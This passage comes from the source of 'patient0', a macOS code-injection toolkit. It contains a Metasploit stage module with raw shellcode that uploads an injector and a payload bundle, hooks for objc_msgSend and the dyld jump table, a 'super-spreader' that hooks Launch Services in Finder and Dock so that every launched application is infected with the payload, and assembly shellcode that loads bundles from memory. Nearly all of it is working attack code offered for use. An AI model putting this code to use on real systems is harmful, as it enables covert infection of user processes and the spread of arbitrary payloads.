"\x45\x58\x54\x74\x0e\x81\x7b\x0a\x4c\x49\x4e\x4b\x74\x10\xe9\xde"+ 40 | "\xff\xff\xff\x8b\x43\x18\x89\x45\xf8\xe9\xd3\xff\xff\xff\x8b\x43"+ 41 | "\x18\x2b\x45\xf8\x03\x45\x08\x2b\x43\x20\x89\x45\xf4\xe9\xbf\xff"+ 42 | "\xff\xff\x8b\x4b\x0c\x31\xc0\x39\xc1\x74\x34\x49\x6b\xd1\x0c\x03"+ 43 | "\x53\x08\x03\x55\xf4\x8b\x32\x03\x73\x10\x03\x75\xf4\x31\xff\xfc"+ 44 | "\x31\xc0\xac\x38\xe0\x74\x0a\xc1\xcf\x0d\x01\xc7\xe9\xef\xff\xff"+ 45 | "\xff\x3b\x7d\x0c\x75\xcf\x8b\x42\x08\x2b\x45\xf8\x03\x45\x08\x5f"+ 46 | "\x5e\x5b\xc9\xc2\x08\x00\x55\x89\xe5\x83\xec\x0c\x89\xfe\x31\xc0"+ 47 | "\xb0\x04\x50\x8d\x7d\xfc\x57\x56\x50\x48\xcd\x80\x72\x12\x39\xc8"+ 48 | "\x74\x0e\x8b\x4d\xfc\x31\xc0\x39\xc1\x74\x05\xe9\x05\x00\x00\x00"+ 49 | "\xe9\xa8\x00\x00\x00\x31\xc0\x50\x68\xff\xff\xff\xff\x68\x02\x10"+ 50 | "\x00\x00\x68\x03\x00\x00\x00\x51\x50\x50\xb0\xc5\xcd\x80\x0f\x82"+ 51 | "\x89\x00\x00\x00\x89\xc7\x89\x7d\xf8\x31\xc0\x51\x57\x56\x50\xb0"+ 52 | "\x03\xcd\x80\x72\x78\x01\xc7\x29\xc1\x75\xee\x8b\x7d\xf8\x83\xec"+ 53 | "\x10\x81\xe4\xf0\xff\xff\xff\x6a\x00\x8d\x45\xf8\x50\xff\x75\x0c"+ 54 | "\x57\x68\x81\x2a\x6b\x74\xe8\xba\xfe\xff\xff\xff\xd0\x3c\x01\x75"+ 55 | "\x4c\x31\xc0\x50\xb0\x05\x50\x54\xff\x75\xf8\x68\x91\x81\xb1\x76"+ 56 | "\xe8\xa0\xfe\xff\xff\xff\xd0\x89\xc3\x31\xc0\x50\x68\x5f\x72\x75"+ 57 | "\x6e\x89\xe0\x50\x53\x68\x9d\xf3\xd0\x4f\xe8\x86\xfe\xff\xff\xff"+ 58 | "\xd0\x81\xec\x0c\x00\x00\x00\x50\x68\x52\x58\x4e\xa5\xe8\x73\xfe"+ 59 | "\xff\xff\xff\xd0\x81\xec\x0c\x00\x00\x00\x56\xff\xd0\x31\xc0\x50"+ 60 | "\x50\xb0\x01\xcd\x80" 61 | } 62 | )) 63 | 64 | register_options( 65 | [ 66 | OptPath.new('SYRINGE', [ true, "The local path of the patient0 injector to upload" ]), 67 | OptPath.new('PATHOGEN', [ true, "The local path of the patient0 pathogen to upload" ]), 68 | ], self.class) 69 | end 70 | 71 | # 72 | # Transmits the DLL injection payload and its associated DLL to the remote 73 | # computer so that it can be loaded into memory. 74 | # 75 | def handle_connection_stage(conn) 76 | data = "" 77 | 78 | begin 79 | File.open(datastore['SYRINGE'], "rb") { |f| 80 | data += f.read 81 | } 82 | rescue 83 | print_error("Failed to load syringe: #{$!}.") 84 | 85 | # TODO: exception 86 | conn.close 87 | return 88 | end 89 | 90 | print_status("Uploading syringe bundle (#{data.length} bytes)...") 91 | 92 | # Send the size of the thing we're transferring 93 | conn.put([ data.length ].pack('V')) 94 | # Send the image 95 | conn.put(data) 96 | 97 | print_status("Syringe upload completed.") 98 | 99 | data = "" 100 | begin 101 | File.open(datastore['PATHOGEN'], "rb") { |f| 102 | data += f.read 103 | } 104 | rescue 105 | print_error("Failed to load bundle: #{$!}.") 106 | 107 | # TODO: exception 108 | conn.close 109 | return 110 | end 111 | 112 | print_status("Uploading pathogen bundle (#{data.length} bytes)...") 113 | 114 | # Send the size of the thing we're transferring 115 | conn.put([ data.length ].pack('V')) 116 | # Send the image 117 | conn.put(data) 118 | 119 | print_status("Upload completed.") 120 | 121 | # Call the parent so the session gets created. 122 | super 123 | end 124 | end 125 | end 126 | -------------------------------------------------------------------------------- /pathogens/objcspy/objcspy.c: -------------------------------------------------------------------------------- 1 | /* objcspy.c 2 | * Some half-baked leftover code from tinkering around with obj-c interposition. 3 | * It needs _a lot_ of work if it is to ever be functional. 4 | * It depends on ffcall. I used the ports version. 5 | * Copyright (c) 2009 Will Drewry . All rights reserved. 6 | * Use of this source code is governed by a BSD-style license that can be 7 | * found in the LICENSE file or at http://github.org/redpig/patient0. 8 | */ 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #include 20 | #include 21 | #include 22 | 23 | #include 24 | #include 25 | #include 26 | #include /* from ffcall */ 27 | 28 | 29 | /* Replace Cocoa calls to the auth framework too. Really? */ 30 | typedef id (*objc_msgSend_t)(id, SEL, ...); 31 | 32 | /* Since we can't pass the varargs, we don't have the luxury of just tracing and calling 33 | * the orig. We have to determine how many args, then call it with them. Bummer. 34 | * ffcall may save us the hassle here of building a dynamic call. 35 | * http://www.haible.de/bruno/packages-ffcall.html 36 | */ 37 | id objcspy_objc_msgSend(id class_id, SEL selector, ...) { 38 | objc_msgSend_t orig = dlsym(RTLD_DEFAULT, "objc_msgSend"); 39 | 40 | av_alist msgSend_args; 41 | va_list args; 42 | const char *arg_type; 43 | int arg_index; 44 | int arg_count; 45 | Method m; 46 | id ret; 47 | char type[50] = {0}; 48 | Class theClass = object_getClass(class_id); 49 | p0_logf(P0_INFO, "[%s %s]", NAMEOF(class_id), SELNAME(selector)); 50 | /* WHere is SFAuthorization? Maybe SendSuper? lookup_Class? send_fpret? */ 51 | if ((m = class_getClassMethod(theClass, selector)) == nil) { 52 | if ((m = class_getInstanceMethod(theClass, selector)) == nil) { 53 | return nil; 54 | } 55 | } 56 | 57 | /* We can pass the addr in directly since we patched the jmp table */ 58 | av_start_ptr(msgSend_args, &objc_msgSend, id, &ret); 59 | va_start(args, selector); 60 | 61 | /* Push on the first 2 */ 62 | av_ptr(msgSend_args, id, class_id); 63 | av_ptr(msgSend_args, SEL, selector); 64 | 65 | /* Now we iterate over the arguments using their stack size to get it from vaargs */ 66 | p0_logf(P0_INFO, "expecting size: %d", method_getSizeOfArguments(m)); 67 | arg_count = method_getNumberOfArguments(m); 68 | for (arg_index = 0; arg_index < arg_count; ++arg_index) { 69 | method_getArgumentType(m, arg_index, type, sizeof(type)); 70 | switch (type[0]) { 71 | case _C_BFLD: /* b */ 72 | case _C_ATOM: /* % */ 73 | case _C_ARY_B: /* [ */ 74 | case _C_ARY_E: /* ] */ 75 | case _C_UNION_B: /* ( */ 76 | case _C_UNION_E: /* ) */ 77 | case _C_STRUCT_E: /* } */ 78 | case _C_VECTOR: /* ! */ 79 | case _C_CONST: /* r */ 80 | case _C_UNDEF: /* ? */ 81 | p0_logf(P0_INFO, "unhandled type: %s --> int?", type); 82 | case _C_BOOL: /* B */ 83 | case _C_CHR: /* c */ 84 | case _C_UCHR: /* C */ 85 | case _C_SHT: /* s */ 86 | case _C_USHT: /* S */ 87 | /* promoted to int... */ 88 | case _C_ID: /* @ */ 89 | case _C_CLASS: /* # */ 90 | case _C_SEL: /* : */ 91 | case _C_INT: /* i */ 92 | case _C_UINT: /* I */ 93 | case _C_LNG: /* l */ 94 | case _C_ULNG: /* L */ 95 | case _C_VOID: /* v */ 96 | case _C_PTR: /* ^ */ 97 | case _C_CHARPTR: /* * */ { 98 | p0_logf(P0_INFO, "arg: %d type: %s as int", arg_index, type); 99 | int arg = va_arg(args, int); 100 | av_int(msgSend_args, arg); 101 | #if 0 102 | if (type[0] == _C_ID) { 103 | p0_logf(P0_INFO, "--> id: %s", NAMEOF((id)arg)); 104 | } else if (type[0] == _C_SEL) { 105 | p0_logf(P0_INFO, "--> sel: %s", SELNAME((SEL)arg)); 106 | } 107 | #endif 108 | } 109 | break; 110 | 111 | case _C_STRUCT_B: /* { */ /* treat a struct as a long long for now. when <8 bytes it's okay... */ 112 | case _C_LNG_LNG: /* q */ 113 | case _C_ULNG_LNG: /* Q */ { 114 | p0_logf(P0_INFO, "arg: %d type: %s as long long", arg_index, type); 115 | long long arg = va_arg(args, long long); 116 | av_longlong(msgSend_args, arg); 117 | } 118 | break; 119 | 120 | case _C_FLT: /* f */ 121 | /* promoted to double */ 122 | case _C_DBL: /* d */ { 123 | p0_logf(P0_INFO, "arg: %d type: %s as double", arg_index, type); 124 | double arg = va_arg(args, double); 125 | av_double(msgSend_args, arg); 126 | } 127 | break; 128 | 129 | default: 130 | p0_logf(P0_INFO, "unknown type: %s", type); 131 | /* treat at int */ { 132 | int arg = va_arg(args, int); 133 | p0_logf(P0_INFO, "arg: %d type: %s as int", arg_index, type); 134 | av_int(msgSend_args, arg); 135 | } 136 | break; 137 | } 138 | } 139 | va_end(args); 140 | /* do it. */ 141 | av_call(msgSend_args); 142 | return ret; 143 | } 144 | 145 | void run(unsigned char *code, uint32_t size) { 146 | unsigned char *cursor = code + size - sizeof(uint32_t); 147 | uint32_t args_size = *((uint32_t *)cursor); 148 | 149 | p0_logf(P0_INFO, "objcspy running"); 150 | /* install function replacements */ 151 | mach_jump_init(); 152 | if (!mach_jump_patch("objc_msgSend", objcspy_objc_msgSend)) { 153 | p0_logf(P0_ERR, "Failed to patch objc_msgSend"); 154 | } 155 | /* hang this thread */ 156 | runtime_deadlock(); 157 | } 158 | -------------------------------------------------------------------------------- /src/mach_jump/mach_jump.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2009 Will Drewry . All rights reserved. 3 | * Use of this source code is governed by a BSD-style license that can be 4 | * found in the LICENSE file or at http://github.org/redpig/patient0. 5 | * vim:tw=80:ts=2:et:sw=2 6 | */ 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | 29 | 30 | 31 | static bool mach_jump_initialized = false; 32 | 33 | bool mach_jump_init() { 34 | if (mach_jump_initialized) 35 | return true; 36 | mach_jump_initialized = jump_table_init() && 37 | linkedit_init() && 38 | lazy_symbol_init(); 39 | return mach_jump_initialized; 40 | } 41 | 42 | bool mach_jump_patch(const char *symbol, void *replacement_fn) { 43 | intptr_t entry = lazy_symbol_stub(symbol); 44 | if (!entry && (entry = jump_table_find_by_symbol_address(NULL, symbol)) < 0) { 45 | return false; 46 | } 47 | p0_logf(P0_INFO, "patching %s @ %p with %p\n", symbol, entry, replacement_fn); 48 | return jump_table_patch(entry, replacement_fn); 49 | } 50 | 51 | bool mach_jump_unpatch(const char *symbol) { 52 | intptr_t entry = lazy_symbol_stub(symbol); 53 | void *real_func = dlsym(RTLD_DEFAULT, symbol); 54 | if (!entry && (entry = jump_table_find_by_symbol_address(NULL, symbol)) < 0) { 55 | p0_logf(P0_ERR, "symbol not found in jump table"); 56 | return false; 57 | } 58 | if (!real_func) { 59 | p0_logf(P0_ERR, "symbol not found by dlsym()"); 60 | return false; 61 | } 62 | return jump_table_patch(entry, real_func); 63 | } 64 | 65 | bool mach_jump_framework_unpatch(const char *framework, 66 | const char *symbol, 67 | void *replacement) { 68 | intptr_t entry = 0; 69 | void *real_func = dlsym(RTLD_DEFAULT, symbol); 70 | jump_table_t table = { 0 }; 71 | 72 | if (!jump_table_get_table(framework, &table)) { 73 | p0_logf(P0_ERR, "failed to acquire jump table for '%s'", framework); 74 | return false; 75 | } 76 | if (table.addr == 0) { 77 | p0_logf(P0_ERR, "framework '%s' mapped at PAGE_ZERO. Unlikely.", framework); 78 | return false; 79 | } 80 | entry = jump_table_find(&table, (intptr_t)replacement); 81 | if (entry == -1) { 82 | p0_logf(P0_ERR, "failed to find address '%p' in table", replacement); 83 | return false; 84 | } 85 | return jump_table_patch(entry, real_func); 86 | } 87 | 88 | bool mach_jump_framework_patch(const char *framework, 89 | const char *symbol, 90 | void *replacement) { 91 | jump_table_t table = { 0 }; 92 | void *addr = dlsym(RTLD_DEFAULT, symbol); 93 | intptr_t entry = 0; 94 | 95 | if (!jump_table_get_table(framework, &table)) { 96 | p0_logf(P0_ERR, "failed to acquire jump table for '%s'", framework); 97 | return false; 98 | } 99 | if (table.addr == 0) { 100 | p0_logf(P0_ERR, "framework '%s' mapped at PAGE_ZERO. Unlikely.", framework); 101 | return false; 102 | } 103 | entry = jump_table_find(&table, (intptr_t)addr); 104 | if (entry == -1) { 105 | p0_logf(P0_ERR, "failed to find address '%p' in table", addr); 106 | return false; 107 | } 108 | 109 | if (!jump_table_patch(entry, replacement)) { 110 | p0_logf(P0_INFO, 111 | "failed to patch '%p' for '%s' in '%s'", 112 | entry, 113 | symbol, 114 | framework); 115 | return false; 116 | } 117 | return true; 118 | } 119 | 120 | 121 | /* Attempts to patch the jump table of all accessible dyld_images */ 122 | bool mach_jump_patch_loads(const char *symbol, 123 | void *replacement) { 124 | void *addr = dlsym(RTLD_DEFAULT, symbol); 125 | intptr_t entry = 0; 126 | const uint32_t images = _dyld_image_count(); 127 | uint32_t image; 128 | 129 | for (image = 0; image < images; ++image) { 130 | jump_table_t table = { 0 }; 131 | if (!jump_table_get_indexed_table(image, &table)) { 132 | p0_logf(P0_ERR, "failed to acquire jump table for '%d'", image); 133 | continue; 134 | } 135 | p0_logf(P0_INFO, "acquired table for '%d'", image); 136 | if (table.addr == 0) { 137 | p0_logf(P0_WARN, "image '%d' mapped at PAGE_ZERO. Unlikely.", image); 138 | continue; 139 | } 140 | entry = jump_table_find(&table, (intptr_t)addr); 141 | if (entry == -1) { 142 | p0_logf(P0_WARN, "failed to find address '%p' in table", addr); 143 | continue; 144 | } 145 | p0_logf(P0_INFO, "found entry in '%d'", image); 146 | if (!jump_table_patch(entry, replacement)) { 147 | p0_logf(P0_WARN, 148 | "failed to patch '%p' for '%s' in '%d'", 149 | entry, 150 | symbol, 151 | image); 152 | continue; 153 | } 154 | p0_logf(P0_INFO, "patched '%s' in '%d'", symbol, image); 155 | } 156 | return true; 157 | } 158 | 159 | /* Patches all images noted by dyld */ 160 | bool mach_jump_patch_images(const char *symbol, 161 | void *replacement) { 162 | void *addr = dlsym(RTLD_DEFAULT, symbol); 163 | intptr_t entry = 0; 164 | const uint32_t images = image_info_count(); 165 | uint32_t image; 166 | 167 | for (image = 0; image < images; ++image) { 168 | jump_table_t table = { 0 }; 169 | if (!image_info_jump_table(image, &table)) { 170 | p0_logf(P0_ERR, "failed to acquire jump table for '%d'", image); 171 | continue; 172 | } 173 | p0_logf(P0_INFO, "acquired table for '%d'", image); 174 | if (table.addr == 0) { 175 | p0_logf(P0_WARN, "image '%d' mapped at PAGE_ZERO. Unlikely.", image); 176 | continue; 177 | } 178 | entry = jump_table_find(&table, (intptr_t)addr); 179 | if (entry == -1) { 180 | p0_logf(P0_WARN, "failed to find address '%p' in table", addr); 181 | continue; 182 | } 183 | p0_logf(P0_INFO, "found entry in '%d'", image); 184 | if (!jump_table_patch(entry, replacement)) { 185 | p0_logf(P0_WARN, 186 | "failed to patch '%p' for '%s' in '%d'", 187 | entry, 188 | symbol, 189 | image); 190 | continue; 191 | } 192 | p0_logf(P0_INFO, "patched '%s' in '%d'", symbol, image); 193 | } 194 | return true; 195 | } 196 | -------------------------------------------------------------------------------- /src/patient0.c: -------------------------------------------------------------------------------- 1 | /* patient0 2 | * Bundle which acts as a super-spreader for any given 3 | * bit of injected code. It interposes custom functions 4 | * for Launch Services normally used by Dock and Finder. 5 | * On launch, it will inject a custom payload if supplied. 6 | * 7 | * Payloads are appended to the patient0 bundle upon injection 8 | * and suffixed with a 4 byte size interval. patient0 will 9 | * use that size to offset into itself and extract the payload. 10 | * (See syringe.c for more details.) 11 | * Copyright (c) 2009 Will Drewry . All rights reserved. 12 | * Use of this source code is governed by a BSD-style license that can be 13 | * found in the LICENSE file or at http://github.org/redpig/patient0. 14 | */ 15 | //#include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | static struct { 32 | unsigned char *code; 33 | uint32_t size; 34 | } self; 35 | 36 | static struct { 37 | unsigned char *code; 38 | uint32_t size; 39 | thread_act_t thread; 40 | } payload; 41 | 42 | 43 | static char installer[] = "/System/Library/CoreServices/Installer.app/Contents/MacOS/Installer"; 44 | 45 | 46 | /* Launch Services interposers */ 47 | #include 48 | /* Right now, we pull in the CoreServices framework. This is not needed */ 49 | 50 | 51 | typedef OSStatus (*LSOpenFromURLSpec_t)(const LSLaunchURLSpec *inLaunchSpec, 52 | CFURLRef *outLaunchedURL); 53 | 54 | OSStatus p0_LSOpenFromURLSpec(const LSLaunchURLSpec *inLaunchSpec, 55 | CFURLRef *outLaunchedURL) { 56 | /* appURL, itemURLs, passThruParams, launchFlags, asyncRefCon */ 57 | LSOpenFromURLSpec_t orig = LSOpenFromURLSpec; 58 | p0_logf(P0_INFO, "LSOpenFromURLSpec called"); 59 | return orig(inLaunchSpec, outLaunchedURL); 60 | } 61 | 62 | typedef OSStatus (*LSOpenFromRefSpec_t)(const LSLaunchFSRefSpec*, FSRef*); 63 | OSStatus p0_LSOpenFromRefSpec(const LSLaunchFSRefSpec *inLaunchSpec, 64 | FSRef *outLaunchedRef) { 65 | 66 | p0_logf(P0_INFO, "LSOpenFromRefSpec called"); 67 | p0_logf(P0_INFO, "-> numDocs = %d", inLaunchSpec->numDocs); 68 | p0_logf(P0_INFO, "-> appRef = %p", inLaunchSpec->appRef); 69 | /* TODO: add launch with docs support later. */ 70 | if (!inLaunchSpec->appRef && inLaunchSpec->numDocs == 1) { 71 | char path[1024] = { 0 }; 72 | char *args[5] = { 0 }; 73 | char *envs[] = { 0 }; /* TODO */ 74 | if (FSRefMakePath(inLaunchSpec->itemRefs, 75 | (uint8_t *) path, 76 | sizeof(path)) == KERN_SUCCESS) { 77 | size_t path_len = strlen(path); 78 | bool known_type = false; 79 | mach_port_t taskport = MACH_PORT_NULL; 80 | /* Check the extensions to guess the right behavior. 81 | * This needs a lot of polishing. 82 | */ 83 | if (!strcmp(path + (path_len - 4), ".pkg")) { 84 | args[0] = installer; 85 | args[1] = path; 86 | p0_logf(P0_INFO, "requested to launch an installer package"); 87 | known_type = true; 88 | p0_logf(P0_INFO, "NOTE: runner is setuid root and is untouchable to us"); 89 | } else if (!strcmp(path+strlen(path)-4, ".app")) { 90 | /* If the path ends in .app, copy whatever is after 91 | * Applications/....app to the end..*/ 92 | char real_path[sizeof(path)] = { 0 }; 93 | p0_logf(P0_INFO, "requested to launch an application"); 94 | /* TODO DODGY AS HELL */ 95 | strcat(real_path, path); 96 | strcat(real_path, "/Contents/MacOS/"); 97 | /* Find the last slash. Not perfect because slashes may be allowed */ 98 | char *last_slash = strrchr(path, '/'); 99 | if (last_slash) { 100 | /* Trim off the trailing .app */ 101 | path[path_len - 4] = '\0'; 102 | strcat(real_path, last_slash + 1); 103 | /* Now write it back to path so we don't go out of scope */ 104 | strncpy(path, real_path, sizeof(path)); 105 | known_type = true; 106 | args[0] = path; 107 | } 108 | } 109 | p0_logf(P0_INFO, "launching '%s'", path); 110 | /* TODO: check for file existence */ 111 | if (!known_type) { 112 | p0_logf(P0_ERR, "unknown app type '%s'", path); 113 | LSOpenFromRefSpec_t orig = LSOpenFromRefSpec; 114 | return orig(inLaunchSpec, outLaunchedRef); 115 | } 116 | if (fork() == 0) { /* async ;-) */ 117 | if (spawn(args[0], args, envs, &taskport, -1) > 0) { 118 | thread_act_t thread; 119 | time_t wait_until = time(NULL) + 3; /* 3 seconds. */ 120 | while (time(NULL) < wait_until) { sched_yield(); } 121 | p0_logf(P0_INFO, "launched '%s'", path); 122 | /* Now we inject the payload. 123 | * We inject ourself too to ensure our interpositions 124 | * occur in child processes. 125 | */ 126 | if (!infect(taskport, self.code, self.size, &thread)) { 127 | p0_logf(P0_ERR, "failed to infect '%s'", path); 128 | } 129 | } 130 | _exit(0); 131 | } 132 | /* TODO: is this right? Just launching the app */ 133 | if (outLaunchedRef) { 134 | *outLaunchedRef = *inLaunchSpec->itemRefs; 135 | } 136 | return KERN_SUCCESS; 137 | /* If spawn fails, we just fall through to the launch ref 138 | * so that things don't seem to wonky. 139 | */ 140 | p0_logf(P0_ERR, "failed to launch '%s'", path); 141 | } 142 | p0_logf(P0_INFO, "failed to get path on numDocs==0"); 143 | } 144 | LSOpenFromRefSpec_t orig = LSOpenFromRefSpec; 145 | return orig(inLaunchSpec, outLaunchedRef); 146 | } 147 | 148 | typedef (*run_t)(unsigned char *, uint32_t); 149 | /* patient0 runtime. */ 150 | void run(unsigned char *code, uint32_t size) { 151 | /* Store our code away for later use. */ 152 | self.code = code; 153 | self.size = size; 154 | payload.size = *((uint32_t *)(code+size-sizeof(uint32_t))); 155 | payload.code = (code + size - sizeof(uint32_t)) - payload.size; 156 | pid_t p = getpid(); 157 | p0_logf(P0_INFO, "patient0 running"); 158 | 159 | if (payload.size == 0) { 160 | payload.code = NULL; 161 | } 162 | p0_logf(P0_INFO, "payload size: %d", payload.size); 163 | 164 | /* Install interposition agents */ 165 | mach_jump_init(); 166 | mach_jump_patch("LSOpenFromRefSpec", p0_LSOpenFromRefSpec); 167 | mach_jump_patch("LSOpenFromURLSpec", p0_LSOpenFromURLSpec); 168 | /* TODO: make patch walk all loaded libraries */ 169 | mach_jump_framework_patch("AppKit", 170 | "LSOpenFromURLSpec", 171 | p0_LSOpenFromURLSpec); 172 | 173 | /* TODO: if we are n finder, we should kill any others. */ 174 | 175 | /* If we have a payload, run it! */ 176 | if (!infect(mach_task_self(), payload.code, payload.size, &payload.thread)) { 177 | p0_logf(P0_ERR, "failed to self infect"); 178 | } 179 | 180 | /* Hang, but don't terminate or waste resources. 181 | * This appears to be the "cleanest" approach so far especially 182 | * since returning will drop us in an invalid stack frame. 183 | */ 184 | runtime_deadlock(); 185 | } 186 | -------------------------------------------------------------------------------- /ext/_inject_bundle_from_mem.s: -------------------------------------------------------------------------------- 1 | ;; Original author: ddz@theta44.org 2 | ;; pthread_set_self added by redpig@dataspill.org 3 | BITS 32 4 | jmp _setup_self 5 | ;;; -------------------------------------------------------------------- 6 | ;;; Constants 7 | ;;; -------------------------------------------------------------------- 8 | %define MAP_ANON 0x1000 9 | %define MAP_PRIVATE 0x0002 10 | %define PROT_READ 0x01 11 | %define PROT_WRITE 0x02 12 | 13 | %define NSLINKMODULE_OPTION_BINDNOW 0x1 14 | %define NSLINKMODULE_OPTION_PRIVATE 0x2 15 | %define NSLINKMODULE_OPTION_RETURN_ON_ERROR 0x4 16 | 17 | ;;; -------------------------------------------------------------------- 18 | ;;; ror13_hash(string symbol_name) 19 | ;;; 20 | ;;; Compute the 32-bit "ror13" hash for a given symbol name. The hash 21 | ;;; value is left in the variable hash 22 | ;;; -------------------------------------------------------------------- 23 | %macro ror13_hash 1 24 | %assign hash 0 25 | %assign c 0 26 | %strlen len %1 27 | 28 | %assign i 1 29 | %rep len 30 | %substr c %1 i 31 | %assign hash ((((hash >> 13) | (hash << 19)) + c) & 0xFFFFFFFF) 32 | %assign i i + 1 33 | %endrep 34 | %endmacro 35 | 36 | ;;; -------------------------------------------------------------------- 37 | ;;; dyld_resolve(uint32_t hash) 38 | ;;; 39 | ;;; Lookup the address of an exported symbol within dyld by "ror13" hash. 40 | ;;; 41 | ;;; Arguments: 42 | ;;; hash - 32-bit "ror13" hash of symbol name 43 | ;;; -------------------------------------------------------------------- 44 | _dyld_resolve: 45 | mov eax, [esp+4] 46 | push eax 47 | push 0x8fe00000 48 | call _macho_resolve 49 | ret 4 50 | 51 | ;;; -------------------------------------------------------------------- 52 | ;;; macho_resolve(void* base, uint32_t hash) 53 | ;;; 54 | ;;; Lookup the address of an exported symbol within the given Mach-O 55 | ;;; image by "ror13" hash value. 56 | ;;; 57 | ;;; Arguments: 58 | ;;; base - base address of Mach-O image 59 | ;;; hash - 32-bit "ror13" hash of symbol name 60 | ;;; -------------------------------------------------------------------- 61 | _macho_resolve: 62 | push ebp 63 | mov ebp, esp 64 | sub esp, byte 12 65 | push ebx 66 | push esi 67 | push edi 68 | 69 | mov ebx, [ebp+8] ; mach-o image base address 70 | mov eax, [ebx+16] ; mach_header->ncmds 71 | mov [ebp-4], eax ; ncmds 72 | 73 | add bl, 28 ; Advance ebx to first load command 74 | .loadcmd: 75 | ;; Load command loop 76 | xor eax, eax 77 | cmp dword [ebp-4], eax 78 | je .return 79 | 80 | inc eax 81 | cmp [ebx], eax 82 | je .segment 83 | inc eax 84 | cmp [ebx], eax 85 | je .symtab 86 | .next_loadcmd: 87 | ;; Advance to the next load command 88 | dec dword [ebp-4] 89 | add ebx, [ebx+4] 90 | jmp .loadcmd 91 | 92 | .segment: 93 | ;; Look for "__TEXT" segment 94 | cmp [ebx+10], dword 'TEXT' 95 | je .text 96 | ;; Look for "__LINKEDIT" segment 97 | cmp [ebx+10], dword 'LINK' 98 | je .linkedit 99 | 100 | jmp .next_loadcmd 101 | .text: 102 | mov eax, [ebx+24] 103 | mov [ebp-8], eax ; save image preferred load address 104 | jmp .next_loadcmd 105 | .linkedit: 106 | ;; We have found the __LINKEDIT segment 107 | mov eax, [ebx+24] ; segcmd->vmaddr 108 | sub eax, [ebp-8] ; image preferred load address 109 | add eax, [ebp+8] ; actual image load address 110 | sub eax, [ebx+32] ; segcmd->fileoff 111 | mov [ebp-12], eax ; save linkedit segment base 112 | 113 | jmp .next_loadcmd 114 | 115 | .symtab: 116 | ;; Examine LC_SYMTAB load command 117 | mov ecx, [ebx+12] ; ecx = symtab->nsyms 118 | .symbol: 119 | xor eax, eax 120 | cmp ecx, eax 121 | je .return 122 | dec ecx 123 | 124 | imul edx, ecx, byte 12 ; edx = index into symbol table 125 | add edx, [ebx+8] ; edx += symtab->symoff 126 | add edx, [ebp-12] ; adjust symoff relative to linkedit 127 | 128 | mov esi, [edx] ; esi = index into string table 129 | add esi, [ebx+16] ; esi += symtab->stroff 130 | add esi, [ebp-12] ; adjust stroff relative to linkedit 131 | 132 | ;; hash = (hash >> 13) | ((hash & 0x1fff) << 19) + c 133 | xor edi, edi 134 | cld 135 | .hash: 136 | xor eax, eax 137 | lodsb 138 | cmp al, ah 139 | je .compare 140 | ror edi, 13 141 | add edi, eax 142 | jmp .hash 143 | 144 | .compare: 145 | cmp edi, [ebp+12] 146 | jne .symbol 147 | 148 | mov eax, [edx+8] ; return symbols[ecx].n_value 149 | sub eax, [ebp-8] ; adjust to actual load address 150 | add eax, [ebp+8] 151 | .return: 152 | pop edi 153 | pop esi 154 | pop ebx 155 | leave 156 | ret 8 157 | 158 | ;;; -------------------------------------------------------------------- 159 | ;;; inject_bundle(int filedes) 160 | ;;; 161 | ;;; Read a Mach-O bundle from the given file descriptor, load and link 162 | ;;; it into the currently running process. 163 | ;;; 164 | ;;; Arguments: 165 | ;;; bundle_addr (edi) - address where the bundle is loaded 166 | ;;; bundle_size (esi) - size of the bundle 167 | ;;; -------------------------------------------------------------------- 168 | _inject_bundle: 169 | push ebp 170 | mov ebp, esp 171 | sub esp, byte 12 172 | 173 | ;; Now that we are calling library methods, we need to make sure 174 | ;; that esp is 16-byte aligned at the the point of the call 175 | ;; instruction. So we align the stack here and then just be 176 | ;; careful to keep it aligned as we call library functions. 177 | 178 | sub esp, byte 16 179 | and esp, 0xfffffff0 180 | 181 | ;; load bundle from mmap'd buffer 182 | push byte 0 ; maintain alignment 183 | lea eax, [ebp-8] 184 | push eax ; &objectFileImage 185 | push esi ; size 186 | push edi ; addr 187 | ror13_hash "_NSCreateObjectFileImageFromMemory" 188 | push dword hash 189 | call _dyld_resolve 190 | call eax 191 | cmp al, 1 192 | jne .error 193 | 194 | ;; link bundle from object file image 195 | xor eax, eax 196 | push eax 197 | mov al, (NSLINKMODULE_OPTION_RETURN_ON_ERROR | NSLINKMODULE_OPTION_BINDNOW) 198 | push eax 199 | push esp ; "" 200 | push dword [ebp-8] 201 | ror13_hash "_NSLinkModule" 202 | push dword hash 203 | call _dyld_resolve 204 | call eax 205 | 206 | ;; run_symbol = NSLookupSymbolInModule(module, "_run") 207 | mov ebx, eax 208 | xor eax, eax 209 | push eax ; "\0\0\0\0" 210 | push 0x6e75725f ; "_run" 211 | mov eax, esp 212 | push eax ; sym 213 | push ebx ; module 214 | 215 | ror13_hash "_NSLookupSymbolInModule" 216 | push dword hash 217 | call _dyld_resolve 218 | call eax 219 | 220 | ;; NSAddressOfSymbol(run_symbol) 221 | sub esp, 12 ; maintain alignment 222 | push eax 223 | ror13_hash "_NSAddressOfSymbol" 224 | push dword hash 225 | call _dyld_resolve 226 | call eax 227 | 228 | ;; _run(void) 229 | sub esp, 8 ; maintain alignment (was 12) 230 | push esi 231 | push edi 232 | call eax 233 | 234 | .error: 235 | ;; Exit cleanly 236 | xor eax, eax 237 | push eax ; EXIT_SUCCESS 238 | push eax ; spacer 239 | mov al, 1 240 | int 0x80 241 | 242 | ;;; 243 | ;;; Since we are being injected into a new mach thread, we need to 244 | ;;; set up a dummy thread structure to keep 245 | ;;; _NSCreateObjectFileImageFromMemoryfrom crashing. We will assume 246 | ;;; we have some space before the stack and use it for it for that purpose. 247 | ;;; 248 | _setup_self: 249 | ;; Make sure we are 16-byte aligned 250 | sub esp, byte 16 251 | and esp, 0xfffffff0 252 | ;; Look up and call private pthread_set_self 253 | ror13_hash "__pthread_set_self" 254 | push dword hash 255 | call _dyld_resolve 256 | mov ebx, esp 257 | ;; Use some of the space before the stack. We know it's there. 258 | sub ebx, 32 259 | push ebx 260 | call eax 261 | ;; We're ready to do some work. 262 | jmp _inject_bundle 263 | 264 | 265 | 